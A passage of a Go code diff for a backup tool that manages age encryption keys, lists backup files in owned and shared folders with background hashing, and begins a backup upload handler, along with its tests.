k.Recipient = id.Recipient().String()
k.PubB64 = base64.StdEncoding.EncodeToString(pub)
k.Fingerprint = backupKeyFingerprint(pub)
return k, nil
}
func backupKeysLoad() (active *backupKeyFile, all []*backupKeyFile, err error) {
dir, err := backupKeysDir()
if err != nil {
return nil, nil, err
}
entries, err := os.ReadDir(dir)
if err != nil {
return nil, nil, err
}
activeFP := ""
if raw, err := os.ReadFile(filepath.Join(dir, "active")); err == nil {
activeFP = strings.TrimSpace(string(raw))
}
for _, e := range entries {
if !backupKeyFileRe.MatchString(e.Name()) || !e.Type().IsRegular() {
continue
}
k, err := backupKeyFromIdentityFile(filepath.Join(dir, e.Name()))
if err != nil {
return nil, nil, err
}
all = append(all, k)
if k.Fingerprint == activeFP {
active = k
}
}
sort.Slice(all, func(i, j int) bool { return all[i].CreatedAt > all[j].CreatedAt })
return active, all, nil
}
// backupKeyInit makes this bastion's backup key. An existing key is never
// overwritten: backups already sealed to it would become unopenable. With
// replace, a new key becomes the active one and the old one stays in the
// folder, still opening the backups made with it.
func backupKeyInit(replace bool) (*backupKeyFile, error) {
active, _, err := backupKeysLoad()
if err != nil {
return nil, err
}
if active != nil && !replace {
return nil, fmt.Errorf("this bastion already holds a backup key (fingerprint %s). Replacing it "+
"means backups made from now on need the new key; the old key is kept so older "+
"backups still open. Run again with --replace if that is what you want", active.Fingerprint)
}
id, err := age.GenerateX25519Identity()
if err != nil {
return nil, err
}
raw, err := recipientRaw(id.Recipient())
if err != nil {
return nil, err
}
dir, err := backupKeysDir()
if err != nil {
return nil, err
}
fp := backupKeyFingerprint(raw)
now := time.Now().UTC().Format(time.RFC3339)
body := "# created: " + now + "\n# public key: " + id.Recipient().String() + "\n" + id.String() + "\n"
path := filepath.Join(dir, fp+".txt")
if err := atomicWrite(path, []byte(body)); err != nil {
return nil, err
}
if err := atomicWrite(filepath.Join(dir, "active"), []byte(fp+"\n")); err != nil {
return nil, err
}
return &backupKeyFile{Identity: id.String(), Recipient: id.Recipient().String(),
PubB64: base64.StdEncoding.EncodeToString(raw), Fingerprint: fp, CreatedAt: now, Path: path}, nil
}
// backupIdentities is every backup key this machine holds, newest first: a
// backup made before a replacement is still opened by the key it was sealed to.
func backupIdentities() ([]age.Identity, error) {
_, all, err := backupKeysLoad()
if err != nil {
return nil, err
}
var ids []age.Identity
for _, k := range all {
id, err := age.ParseX25519Identity(k.Identity)
if err != nil {
return nil, fmt.Errorf("backup key %s does not parse: %w", k.Fingerprint, err)
}
ids = append(ids, id)
}
if len(ids) == 0 {
return nil, errors.New("this machine holds no backup key — make one with `privatae-bastion backup key init`")
}
return ids, nil
}
// identitiesFromFile reads an age identity file the person names.
func identitiesFromFile(path string) ([]age.Identity, error) {
f, err := os.Open(path)
if err != nil {
return nil, err
}
defer f.Close()
ids, err := age.ParseIdentities(f)
if err != nil {
return nil, fmt.Errorf("%s holds no usable age identity: %w", path, err)
}
return ids, nil
}
// ── the sidecar ─────────────────────────────────────────────────────────────
type backupSidecar struct {
V int `json:"v"`
Kind string `json:"kind"`
Identity string `json:"identity"`
Object string `json:"object"`
EntityID int64 `json:"entity_id"`
Stamp string `json:"stamp"`
MadeAt string `json:"made_at"`
}
// openSidecar decrypts an armored sidecar and checks it is one of ours and
// names the backup it claims to. Returns the plaintext exactly as sealed, so
// a reseal hands on the same bytes and not a re-encoding of them.
func openSidecar(armored []byte, ids []age.Identity, wantStamp string) ([]byte, *backupSidecar, error) {
if len(armored) > sidecarMaxBytes {
return nil, nil, errors.New("the sidecar is larger than a sidecar can be")
}
r, err := age.Decrypt(armor.NewReader(bytes.NewReader(armored)), ids...)
if err != nil {
return nil, nil, fmt.Errorf("the sidecar does not open with the keys given: %w", err)
}
plain, err := io.ReadAll(io.LimitReader(r, sidecarMaxBytes+1))
if err != nil {
return nil, nil, fmt.Errorf("the sidecar is damaged: %w", err)
}
if len(plain) > sidecarMaxBytes {
return nil, nil, errors.New("the sidecar holds more than a sidecar can")
}
var sc backupSidecar
if err := json.Unmarshal(plain, &sc); err != nil {
return nil, nil, errors.New("the sidecar does not hold a backup key record")
}
if sc.V != 1 || sc.Kind != sidecarKind {
return nil, nil, fmt.Errorf("the sidecar is not a backup key record (v=%d kind=%q)", sc.V, sc.Kind)
}
if !backupStampRe.MatchString(sc.Stamp) {
return nil, nil, fmt.Errorf("the sidecar names no valid backup (stamp %q)", sc.Stamp)
}
if !sidecarObjectOK(sc.Object, sc.Stamp) {
return nil, nil, fmt.Errorf("the sidecar's object %q does not match its stamp %s", sc.Object, sc.Stamp)
}
if wantStamp != "" && sc.Stamp != wantStamp {
return nil, nil, fmt.Errorf("the sidecar is for the backup of %s, not %s", sc.Stamp, wantStamp)
}
if _, err := time.Parse(time.RFC3339, sc.MadeAt); err != nil {
return nil, nil, fmt.Errorf("the sidecar's made_at %q is not a time", sc.MadeAt)
}
if _, err := age.ParseX25519Identity(sc.Identity); err != nil {
return nil, nil, errors.New("the sidecar's backup key does not parse")
}
return plain, &sc, nil
}
// sidecarObjectOK: the object a sidecar names is the backup of its own stamp,
// in one of the two places the platform keeps one: b/ (a backup kept in
// platform storage) or s/ (a copy staged there only until a second copy
// exists, which is how a backup kept only on the person's bastion is
// written). Nothing else: no other folder, no deeper path, no other stamp.
func sidecarObjectOK(object, stamp string) bool {
name := stamp + ".tar.zst.age"
return object == "b/"+name || object == "s/"+name
}
// resealSidecar opens a sidecar with this machine's keys and seals the same
// record to exactly one recipient: the host that is restoring. Armored, so it
// travels as text.
func resealSidecar(armored []byte, ids []age.Identity, to *age.X25519Recipient, wantStamp string) ([]byte, *backupSidecar, error) {
plain, sc, err := openSidecar(armored, ids, wantStamp)
if err != nil {
return nil, nil, err
}
out, err := sealSidecarTo(plain, to)
if err != nil {
return nil, nil, err
}
return out, sc, nil
}
// sealSidecarTo seals an opened sidecar's record, byte for byte, to exactly
// one recipient, armored.
func sealSidecarTo(plain []byte, to *age.X25519Recipient) ([]byte, error) {
var out bytes.Buffer
aw := armor.NewWriter(&out)
w, err := age.Encrypt(aw, to)
if err != nil {
return nil, err
}
if _, err := w.Write(plain); err != nil {
return nil, err
}
if err := w.Close(); err != nil {
return nil, err
}
if err := aw.Close(); err != nil {
return nil, err
}
return out.Bytes(), nil
}
+206
View File
@@ -0,0 +1,206 @@
package main
// Gate: the backup key is made here, kept as a plain age key file, never
// overwritten, and every string that names a key round-trips through age's own
// parser. The bech32 here is an encoding of public keys only; these tests hold
// it to age's.
import (
"bytes"
"crypto/rand"
"encoding/base64"
"io"
"os"
"os/exec"
"path/filepath"
"strings"
"testing"
"filippo.io/age"
)
// ageBinary is the real age command for the cross-language checks. AGE_BIN
// names one explicitly; otherwise `age` on PATH; otherwise the test skips.
func ageBinary(t *testing.T) string {
t.Helper()
if p := os.Getenv("AGE_BIN"); p != "" {
return p
}
if p, err := exec.LookPath("age"); err == nil {
return p
}
// CI installs a pinned age release and sets this, so the cross-language
// checks cannot pass there by skipping.
if os.Getenv("PRIVATAE_REQUIRE_AGE") != "" {
t.Fatal("PRIVATAE_REQUIRE_AGE is set and no age binary was found (AGE_BIN or PATH)")
}
t.Skip("no age binary (set AGE_BIN) — the cross-language half is skipped")
return ""
}
func withBackupKeysDir(t *testing.T) string {
t.Helper()
dir := t.TempDir()
prev := backupKeysDir
backupKeysDir = func() (string, error) { return dir, nil }
t.Cleanup(func() { backupKeysDir = prev })
return dir
}
func TestBech32RoundTripsAgeRecipients(t *testing.T) {
for i := 0; i < 64; i++ {
id, err := age.GenerateX25519Identity()
if err != nil {
t.Fatal(err)
}
raw, err := recipientRaw(id.Recipient())
if err != nil {
t.Fatal(err)
}
if len(raw) != 32 {
t.Fatalf("raw key is %d bytes", len(raw))
}
enc, err := bech32Encode("age", raw)
if err != nil {
t.Fatal(err)
}
if enc != id.Recipient().String() {
t.Fatalf("bech32 of the raw key %s differs from age's %s", enc, id.Recipient())
}
}
// A random 32 bytes encodes to something age itself accepts.
raw := make([]byte, 32)
_, _ = rand.Read(raw)
enc, _ := bech32Encode("age", raw)
if _, err := age.ParseX25519Recipient(enc); err != nil {
t.Fatalf("age refuses our encoding: %v", err)
}
// One changed character is caught by the checksum.
bad := enc[:10] + string("qp"[boolIdx(enc[10] == 'q')]) + enc[11:]
if _, _, err := bech32Decode(bad); err == nil {
t.Fatal("a corrupted recipient decoded")
}
}
func boolIdx(b bool) int {
if b {
return 1
}
return 0
}
func TestParseBackupRecipientAcceptsBothForms(t *testing.T) {
id, _ := age.GenerateX25519Identity()
raw, _ := recipientRaw(id.Recipient())
a, err := parseBackupRecipient(id.Recipient().String())
if err != nil {
t.Fatal(err)
}
b, err := parseBackupRecipient(base64.StdEncoding.EncodeToString(raw))
if err != nil {
t.Fatal(err)
}
if a.String() != b.String() {
t.Fatalf("the two forms of one key disagree: %s vs %s", a, b)
}
for _, bad := range []string{"", "age1nope", base64.StdEncoding.EncodeToString(raw[:31]), "not base64 !!"} {
if _, err := parseBackupRecipient(bad); err == nil {
t.Errorf("%q was accepted as a key", bad)
}
}
}
func TestBackupKeyInitKeepsAPlainAgeKeyAndNeverOverwrites(t *testing.T) {
dir := withBackupKeysDir(t)
k1, err := backupKeyInit(false)
if err != nil {
t.Fatal(err)
}
fi, err := os.Stat(k1.Path)
if err != nil {
t.Fatal(err)
}
if fi.Mode().Perm() != 0o600 {
t.Fatalf("key file mode %v, want 0600", fi.Mode().Perm())
}
// It is a plain age identity file: age's own parser reads it.
f, _ := os.Open(k1.Path)
ids, err := age.ParseIdentities(f)
f.Close()
if err != nil || len(ids) != 1 {
t.Fatalf("the key file is not an age identity file: %v", err)
}
raw, _ := base64.StdEncoding.DecodeString(k1.PubB64)
if backupKeyFingerprint(raw) != k1.Fingerprint || filepath.Base(k1.Path) != k1.Fingerprint+".txt" {
t.Fatal("the fingerprint does not name the key")
}
if _, err := backupKeyInit(false); err == nil {
t.Fatal("a second init without --replace overwrote the key")
}
k2, err := backupKeyInit(true)
if err != nil {
t.Fatal(err)
}
if k2.Fingerprint == k1.Fingerprint {
t.Fatal("--replace did not make a new key")
}
active, all, err := backupKeysLoad()
if err != nil {
t.Fatal(err)
}
if active == nil || active.Fingerprint != k2.Fingerprint {
t.Fatal("the new key is not the active one")
}
if len(all) != 2 {
t.Fatalf("the replaced key was not kept: %d keys", len(all))
}
// Both still open what was sealed to them.
got, err := backupIdentities()
if err != nil || len(got) != 2 {
t.Fatalf("identities: %v %d", err, len(got))
}
for _, k := range []*backupKeyFile{k1, k2} {
r, _ := age.ParseX25519Recipient(k.Recipient)
var ct bytes.Buffer
w, _ := age.Encrypt(&ct, r)
_, _ = w.Write([]byte("sealed to " + k.Fingerprint))
_ = w.Close()
rd, err := age.Decrypt(&ct, got...)
if err != nil {
t.Fatalf("key %s no longer opens its backups: %v", k.Fingerprint, err)
}
b, _ := io.ReadAll(rd)
if !strings.HasSuffix(string(b), k.Fingerprint) {
t.Fatal("wrong plaintext")
}
}
entries, _ := os.ReadDir(dir)
for _, e := range entries {
if strings.HasPrefix(e.Name(), ".ctx-") {
t.Fatalf("a temporary file survived: %s", e.Name())
}
}
}
// Cross-language: the key file this bastion keeps is read by the real age
// command the same way filippo.io/age reads it here.
func TestBackupKeyFileOpensWithTheAgeCommand(t *testing.T) {
bin := ageBinary(t)
withBackupKeysDir(t)
k, err := backupKeyInit(false)
if err != nil {
t.Fatal(err)
}
r, _ := age.ParseX25519Recipient(k.Recipient)
ct := filepath.Join(t.TempDir(), "x.age")
f, _ := os.Create(ct)
w, _ := age.Encrypt(f, r)
_, _ = w.Write([]byte("a backup"))
_ = w.Close()
_ = f.Close()
out, err := exec.Command(bin, "-d", "-i", k.Path, ct).CombinedOutput()
if err != nil || string(out) != "a backup" {
t.Fatalf("age -d -i <key file> failed: %v %s", err, out)
}
}
+324
View File
@@ -0,0 +1,324 @@
package main
// backuplist.go — backup_list: which backups this machine holds for a host,
// and where a backup_push may send one from.
//
// The host asks {"op":"list"} and gets
//
// {"backups":[{"folder","stamp","data_bytes","has_data","has_sidecar",
// "sidecar_bytes","data_sha256","sidecar_sha256"}, ...]}
//
// newest first. `folder` is "." for this pairing's own backup folder, and
// "shared/<name>" for a folder the person shared with this host at this
// machine (`privatae-bastion backup share`), which is how a host that replaces
// a lost one finds the copies its predecessor kept here. Only the top of each
// folder is listed, and only files named like a backup: <stamp>.tar.zst.age
// and <stamp>.key.age. A backup_push names a file as folder + "/" + file.
//
// The digests are what backup_push must be given. Reading a multi-gigabyte
// file to hash it does not fit in one dispatch, so a listing never hashes:
// it answers from what this bastion already knows (the record of what it
// fetched, and a cache keyed by path, size and modification time), gives ""
// for anything not yet known, and starts one background job that hashes
// those files. The host lists again until the digest appears. A file that
// changes size or modification time is unknown again.
//
// A read: it creates no folder and changes nothing in any backup folder
// (backupRootReady creates the host's own folder only for an op that writes).
// What it does beyond reading: the background job reads files to learn their
// digests, and this bastion notes in its own state where each folder last
// resolved (opmask.go), as every op leaves its audit line.
//
// Every folder listed, the host's own and each shared one, is read with the
// same bound as the rest of the backup lane (opProbe): a shared folder on a
// network mount that stopped answering is left out of the reply and named in
// "unavailable", and the listing answers at once with the rest. A shared
// folder that now is, or holds, this bastion's own state (a link swapped in
// after it was shared) is left out the same way.
import (
"encoding/json"
"errors"
"fmt"
"os"
"path"
"path/filepath"
"sort"
"strings"
"sync"
"github.com/gorilla/websocket"
)
// backupListMax bounds one reply; the newest backups are the ones a restore
// wants, and the reply is one frame.
const backupListMax = 2000
type backupListEntry struct {
Folder string `json:"folder"`
Stamp string `json:"stamp"`
DataBytes int64 `json:"data_bytes"`
HasData bool `json:"has_data"`
HasSidecar bool `json:"has_sidecar"`
SidecarBytes int64 `json:"sidecar_bytes"`
DataSHA256 string `json:"data_sha256"`
SidecarSHA256 string `json:"sidecar_sha256"`
}
type backupFolder struct{ name, dir string }
// backupFolders is this pairing's own folder, then every folder shared with it.
func backupFolders(self, root string) []backupFolder {
out := []backupFolder{{".", root}}
for _, s := range sharesFor(self) {
out = append(out, backupFolder{"shared/" + s.Slug, s.Dir})
}
return out
}
func handleBackupList(ws *websocket.Conn, root string, args []string) {
var req struct {
Op string `json:"op"`
}
if len(args) > 0 {
if err := json.Unmarshal([]byte(args[0]), &req); err != nil {
backupFail(ws, "backup_list: argument is not JSON: "+err.Error())
return
}
}
if req.Op != "" && req.Op != "list" {
backupFail(ws, "backup_list: unknown op "+req.Op)
return
}
list, unavailable := listBackupsReport(mgmtSelf(ws), root)
reply := map[string]any{"backups": list}
if len(unavailable) > 0 {
reply["unavailable"] = unavailable
}
backupOK(ws, reply)
}
// backupUnavailable is a folder left out of a listing, and why.
type backupUnavailable struct {
Folder string `json:"folder"`
Why string `json:"why"`
}
// backupReadDirFn is os.ReadDir; a test replaces it with one that blocks.
var backupReadDirFn = os.ReadDir
type backupDirFile struct {
name string
fi os.FileInfo
}
// backupScanDir reads the backup-named regular files at the top of dir,
// with their size and time, within the probe bound. A folder that does not
// exist is empty.
func backupScanDir(dir string) ([]backupDirFile, error) {
var mu sync.Mutex
var out []backupDirFile
err := opProbe("list:"+dir, func() error {
entries, err := backupReadDirFn(dir)
if errors.Is(err, os.ErrNotExist) {
return nil
}
if err != nil {
return err
}
var got []backupDirFile
for _, e := range entries {
if !backupFileRe.MatchString(e.Name()) || !e.Type().IsRegular() {
continue
}
fi, err := e.Info()
if err != nil {
continue
}
got = append(got, backupDirFile{e.Name(), fi})
}
mu.Lock()
out = got
mu.Unlock()
return nil
})
if err != nil {
return nil, err
}
mu.Lock()
defer mu.Unlock()
return out, nil
}
// sharedFolderProblem is why a folder shared with a host is not used now:
// it does not answer, or it resolves to or around this bastion's own state.
// "" when it may be read. Bounded, like every backup folder.
func sharedFolderProblem(dir string) string {
r, ok, _ := backupFolderResolve(dir)
if !ok {
return "does not answer (a network mount that stopped?)"
}
if why := bastionStateOverlapResolved(dir, r); why != "" {
return why
}
return ""
}
func listBackups(self, root string) []backupListEntry {
l, _ := listBackupsReport(self, root)
return l
}
func listBackupsReport(self, root string) ([]backupListEntry, []backupUnavailable) {
var arrivals map[string]backupArrival
backupStateMu.Lock()
if a, err := arrivalsLoadLocked(root); err == nil {
arrivals = a.Files
}
backupStateMu.Unlock()
var out []backupListEntry
var unavailable []backupUnavailable
for _, f := range backupFolders(self, root) {
if f.name != "." {
if why := sharedFolderProblem(f.dir); why != "" {
unavailable = append(unavailable, backupUnavailable{f.name, why})
continue
}
}
files, err := backupScanDir(f.dir)
if err != nil {
why := err.Error()
if errors.Is(err, errProbeBusy) || errors.Is(err, errProbeTimeout) {
why = fmt.Sprintf("does not answer (a network mount that stopped?): %v", err)
}
unavailable = append(unavailable, backupUnavailable{f.name, why})
continue
}
byStamp := map[string]*backupListEntry{}
for _, e := range files {
m := backupFileRe.FindStringSubmatch(e.name)
fi := e.fi
abs := filepath.Join(f.dir, e.name)
sha := cachedHash(abs, fi)
if sha == "" && f.name == "." {
if a, ok := arrivals[e.name]; ok && stillTheArrival(fi, a) {
sha = a.SHA256
noteHash(abs, fi, sha)
}
}
if sha == "" {
requestHash(abs)
}
l := byStamp[m[1]]
if l == nil {
l = &backupListEntry{Folder: f.name, Stamp: m[1]}
byStamp[m[1]] = l
}
if m[2] == "tar.zst.age" {
l.HasData, l.DataBytes, l.DataSHA256 = true, fi.Size(), sha
} else {
l.HasSidecar, l.SidecarBytes, l.SidecarSHA256 = true, fi.Size(), sha
}
}
for _, l := range byStamp {
out = append(out, *l)
}
}
sort.SliceStable(out, func(i, j int) bool {
if out[i].Stamp != out[j].Stamp {
return out[i].Stamp > out[j].Stamp
}
return out[i].Folder < out[j].Folder
})
if len(out) > backupListMax {
out = out[:backupListMax]
}
if out == nil {
out = []backupListEntry{}
}
return out, unavailable
}
// backupResolveFile maps a path a host names ("./<file>", "<file>" or
// "shared/<name>/<file>") to a backup file this pairing may send: named like a
// backup, directly inside its own folder or a folder shared with it, reached
// through no link that leaves that folder, and not itself a link. The refusal
// says which: the path is not one this op takes, or nothing is there.
func backupResolveFile(self, root, p string) (string, string) {
const rejected = "path rejected (a backup file named <stamp>.tar.zst.age or <stamp>.key.age, in \".\" or a shared folder)"
p = strings.TrimSpace(p)
if p == "" || strings.ContainsRune(p, 0) || strings.Contains(p, "\\") || path.IsAbs(p) {
return "", rejected
}
clean := path.Clean(p)
if clean != p && "./"+clean != p {
return "", rejected
}
parts := strings.Split(clean, "/")
var dir, name string
switch {
case len(parts) == 1:
dir, name = root, parts[0]
case len(parts) == 3 && parts[0] == "shared":
for _, s := range sharesFor(self) {
if s.Slug == parts[1] {
dir = s.Dir
}
}
name = parts[2]
default:
return "", rejected
}
if dir == "" || !backupFileRe.MatchString(name) {
return "", rejected
}
if dir != root {
if why := sharedFolderProblem(dir); why != "" {
return "", "the shared folder " + parts[0] + "/" + parts[1] + " " + why
}
}
// Resolving and checking the file touch the folder, which may be a
// network mount: bounded like the listing.
var mu sync.Mutex
var abs, why string
err := opProbe("push:"+dir, func() error {
a, w := backupResolveFileIn(dir, name, rejected)
mu.Lock()
abs, why = a, w
mu.Unlock()
return nil
})
if err != nil {
return "", fmt.Sprintf("the folder of %s does not answer (a network mount that stopped?): %v", p, err)
}
mu.Lock()
defer mu.Unlock()
return abs, why
}
// backupResolveFileIn is the unbounded half of backupResolveFile.
func backupResolveFileIn(dir, name, rejected string) (string, string) {
abs, ok := backupResolvePathFn(dir, name)
if !ok {
return "", rejected
}
fi, err := os.Lstat(abs)
if err != nil || !fi.Mode().IsRegular() {
return "", "no backup file at that path"
}
return abs, ""
}
// backupResolvePathFn is dcnResolvePath; a test replaces it with one that
// blocks.
var backupResolvePathFn = dcnResolvePath
// mgmtSelf is the pairing this management job came from ("" for an
// anonymous caller, which has no shares).
func mgmtSelf(ws *websocket.Conn) string {
if a := mgmtAccountOf(ws); a != nil {
return a.self
}
return ""
}
+245
View File
@@ -0,0 +1,245 @@
package main
// Gate: backup_list tells a host which backups this machine holds for it —
// its own folder and the folders the person shared with it — with the
// digests backup_push needs, and never reads a file inside the dispatch.
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"time"
)
func listVia(t *testing.T, root string) []backupListEntry {
t.Helper()
return listViaAs(t, "", root)
}
func listViaAs(t *testing.T, self, root string) []backupListEntry {
t.Helper()
out, errOut, code := driveBackupOpAs(t, self, "backup_list", "", root, map[string]string{"op": "list"})
if code != 0 {
t.Fatalf("list exited %d: %s", code, errOut)
}
var reply struct {
Backups []backupListEntry `json:"backups"`
}
if err := json.Unmarshal([]byte(out), &reply); err != nil || reply.Backups == nil {
t.Fatalf("list reply: %v %s", err, out)
}
return reply.Backups
}
func sha(b []byte) string {
s := sha256.Sum256(b)
return hex.EncodeToString(s[:])
}
// holdHashing replaces the hashing job's reader with one that waits until
// released, and counts the files it was asked to read.
func holdHashing(t *testing.T) (release func(), calls *int) {
t.Helper()
gate := make(chan struct{})
n := 0
prev := hashFileFn
hashFileFn = func(p string) (string, int64, error) {
hashMu.Lock()
n++
hashMu.Unlock()
<-gate
return hashFile(p)
}
var once bool
release = func() {
if !once {
once = true
close(gate)
}
}
t.Cleanup(func() { release(); hashFileFn = prev })
return release, &n
}
func awaitListed(t *testing.T, root string, ok func([]backupListEntry) bool) []backupListEntry {
t.Helper()
deadline := time.Now().Add(10 * time.Second)
for time.Now().Before(deadline) {
if l := listBackups("", root); ok(l) {
return l
}
time.Sleep(10 * time.Millisecond)
}
t.Fatal("the listing never showed what was expected")
return nil
}
func TestBackupListShowsTheBackupsAtTheTopOfTheFolder(t *testing.T) {
root := t.TempDir()
data := []byte("data of the backup")
side := []byte("sidecar")
_ = os.WriteFile(filepath.Join(root, fixtureStamp+".tar.zst.age"), data, 0o600)
_ = os.WriteFile(filepath.Join(root, fixtureStamp+".key.age"), side, 0o600)
_ = os.WriteFile(filepath.Join(root, "20260101T000000Z.key.age"), side, 0o600)
_ = os.WriteFile(filepath.Join(root, "notes.txt"), []byte("mine"), 0o600)
_ = os.MkdirAll(filepath.Join(root, "sub"), 0o700)
_ = os.WriteFile(filepath.Join(root, "sub", "20260201T000000Z.tar.zst.age"), data, 0o600)
_ = os.Symlink(filepath.Join(root, fixtureStamp+".tar.zst.age"), filepath.Join(root, "20260301T000000Z.tar.zst.age"))
l := listVia(t, root)
if len(l) != 2 || l[0].Stamp != fixtureStamp || l[1].Stamp != "20260101T000000Z" {
t.Fatalf("listed %+v", l)
}
e := l[0]
if e.Folder != "." || !e.HasData || !e.HasSidecar || e.DataBytes != int64(len(data)) || e.SidecarBytes != int64(len(side)) {
t.Fatalf("entry %+v", e)
}
if l[1].HasData || !l[1].HasSidecar || l[1].DataBytes != 0 {
t.Fatalf("a sidecar alone reads %+v", l[1])
}
l = awaitListed(t, root, func(l []backupListEntry) bool { return l[0].DataSHA256 != "" && l[0].SidecarSHA256 != "" })
if l[0].DataSHA256 != sha(data) || l[0].SidecarSHA256 != sha(side) {
t.Fatalf("digests %+v", l[0])
}
}
// A listing never waits for a file to be read: an unknown digest is "" and
// one background job reads it; the digest appears on a later listing.
func TestBackupListNeverWaitsForHashing(t *testing.T) {
root := t.TempDir()
data := []byte("a large backup, as far as this test is concerned")
_ = os.WriteFile(filepath.Join(root, fixtureData), data, 0o600)
release, calls := holdHashing(t)
done := make(chan []backupListEntry, 1)
go func() { done <- listBackups("", root) }()
select {
case l := <-done:
if len(l) != 1 || l[0].DataSHA256 != "" {
t.Fatalf("listed %+v", l)
}
case <-time.After(5 * time.Second):
t.Fatal("the listing waited for the file to be hashed")
}
// Listing again while the job is reading the file starts no second read.
deadline := time.Now().Add(5 * time.Second)
for {
hashMu.Lock()
n := *calls
hashMu.Unlock()
if n == 1 {
break
}
if time.Now().After(deadline) {
t.Fatal("the hashing job never started")
}
time.Sleep(5 * time.Millisecond)
}
_ = listBackups("", root)
release()
l := awaitListed(t, root, func(l []backupListEntry) bool { return l[0].DataSHA256 != "" })
if l[0].DataSHA256 != sha(data) {
t.Fatal("wrong digest")
}
hashMu.Lock()
n := *calls
hashMu.Unlock()
if n != 1 {
t.Fatalf("the file was read %d times", n)
}
}
// A digest is known only for the file it was taken of: a new size or
// modification time makes it unknown again, and the new one is read.
func TestBackupListDigestFollowsTheFile(t *testing.T) {
root := t.TempDir()
p := filepath.Join(root, fixtureData)
_ = os.WriteFile(p, []byte("first"), 0o600)
awaitListed(t, root, func(l []backupListEntry) bool { return l[0].DataSHA256 == sha([]byte("first")) })
_ = os.WriteFile(p, []byte("second, longer"), 0o600)
if l := listBackups("", root); l[0].DataSHA256 != "" {
t.Fatalf("a changed size kept the old digest: %s", l[0].DataSHA256)
}
awaitListed(t, root, func(l []backupListEntry) bool { return l[0].DataSHA256 == sha([]byte("second, longer")) })
// Same size, new time.
_ = os.WriteFile(p, []byte("third, longer!"), 0o600)
later := time.Now().Add(time.Hour)
_ = os.Chtimes(p, later, later)
if l := listBackups("", root); l[0].DataSHA256 != "" {
t.Fatalf("a changed modification time kept the old digest: %s", l[0].DataSHA256)
}
awaitListed(t, root, func(l []backupListEntry) bool { return l[0].DataSHA256 == sha([]byte("third, longer!")) })
}
// What this bastion fetched is listed with the digest it recorded, without
// reading the file.
func TestBackupListUsesTheRecordOfWhatArrived(t *testing.T) {
root := t.TempDir()
data := []byte("fetched earlier")
_ = os.WriteFile(filepath.Join(root, fixtureData), data, 0o600)
if err := recordArrival(root, fixtureData, sha(data), time.Now()); err != nil {
t.Fatal(err)
}
hashMu.Lock()
hashCache = map[string]hashEntry{} // as after a restart
hashMu.Unlock()
_, calls := holdHashing(t)
if l := listBackups("", root); l[0].DataSHA256 != sha(data) {
t.Fatalf("the recorded digest was not used: %+v", l[0])
}
time.Sleep(50 * time.Millisecond)
hashMu.Lock()
n := *calls
hashMu.Unlock()
if n != 0 {
t.Fatal("a recorded file was read to hash it")
}
}
// A folder shared with a pairing is listed for that pairing, under
// shared/<name>; not for another, not for an anonymous caller, and not once
// taken back.
func TestBackupListShowsOnlyFoldersSharedWithThisHost(t *testing.T) {
lost := t.TempDir()
_ = os.WriteFile(filepath.Join(lost, fixtureData), []byte("the lost host's"), 0o600)
const newHost, other = "new.host.privatae.ai", "other.host.privatae.ai"
root := t.TempDir()
s, err := addBackupShare(newHost, root, lost, "Old Host.example")
if err != nil {
t.Fatal(err)
}
if s.Slug != "old-host.example" || strings.ContainsAny(s.Slug, "/ ") {
t.Fatalf("slug %q", s.Slug)
}
if _, err := addBackupShare(newHost, root, lost, "again"); err == nil {
t.Fatal("the same folder was shared twice")
}
if _, err := addBackupShare("", root, t.TempDir(), "nobody"); err == nil {
t.Fatal("a folder was shared with no host")
}
if _, err := addBackupShare(newHost, root, root, "self"); err == nil {
t.Fatal("a host's own folder was shared with it")
}
l := listViaAs(t, newHost, root)
if len(l) != 1 || l[0].Folder != "shared/"+s.Slug {
t.Fatalf("listed %+v", l)
}
if l := listViaAs(t, other, t.TempDir()); len(l) != 0 {
t.Fatalf("a pairing it was not shared with lists %+v", l)
}
if l := listViaAs(t, "", root); len(l) != 0 {
t.Fatalf("an anonymous caller with the same folder lists %+v", l)
}
if err := dropBackupShare(newHost, s.Slug); err != nil {
t.Fatal(err)
}
if l := listViaAs(t, newHost, root); len(l) != 0 {
t.Fatalf("a folder taken back is still listed: %+v", l)
}
}
+545
View File
@@ -0,0 +1,545 @@
package main
// backuppush.go — backup_push: send a backup this machine holds to a
// short-lived signed upload URL the host hands over.
//
// This is the way back for a backup that exists only here: a host being
// restored cannot reach this machine's disk, so it asks for the one backup
// file it needs to be put where it can fetch it. The file is ciphertext a
// host wrote (only a registered key, or a one-backup key resealed with the
// person's approval, opens it), so this is standing work under the backup
// folder the person configured here, like backup_fetch.
//
// What it refuses, each for the same reason as backup_fetch:
// - any file that is not named like a backup (<stamp>.tar.zst.age or
// <stamp>.key.age), not directly inside this pairing's backup folder or a
// folder the person shared with it (backuplist.go), reached through a link
// that leaves that folder, or itself a link;
// - a file whose sha256 is not the one the host named — the host must say
// which bytes it wants, and gets exactly those;
// - any URL that is not https or resolves to this machine or its network
// (validateBackupURL), checked again at the address actually dialled.
//
// HEADERS. The upload URL comes with the headers its signature covers
// (`headers`, as the platform's backup.put_url returns them). The platform
// signs exactly one: If-None-Match: *, so the storage refuses to write over an
// object that is there; without it the storage answers 403. That header, with
// that value, is the only one a host may hand over (the name in any case);
// every other name, and any other value, is refused at start, so the host
// cannot put anything else on this machine's request. No headers at all is
// refused too: the platform always hands the header over, so a start without
// it comes from a broken or tampered host.
//
// `start` answers at once: the file is hashed and checked in the background
// job, before anything is sent, because reading gigabytes does not fit in one
// dispatch. The host polls `status`, which answers only for jobs this pairing
// started. No reply or job error quotes the signed URL's query.
//
// A DEAD MOUNT. A job whose file stops answering fails at backupPushFileStall,
// but the read it was in cannot be stopped: it keeps a goroutine, an OS thread
// and the open file until the mount answers or goes away. Pushes and the
// background hashing keep their reads in one record (backupReads,
// backupstate.go): a start in a folder with a read of either that has not
// returned is refused with a sentence until it does, and the whole bastion
// keeps at most backupReadsMax reads of both.
import (
"context"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"io"
"net"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
"syscall"
"time"
"github.com/gorilla/websocket"
)
// backupPushReq is the host's ask, in the same shape as backup_fetch's: one
// JSON argument, {"op":"start",...} or {"op":"status","job_id":...}. `path`
// is relative to the backup folder.
type backupPushReq struct {
Op string `json:"op"` // start | status
JobID string `json:"job_id"`
Path string `json:"path"`
URL string `json:"url"`
SHA256 string `json:"sha256"`
// Headers the upload URL was signed with, sent on the PUT as given.
Headers map[string]string `json:"headers"`
}
// backupPushAllowedHeaders is every header a host may hand over with an
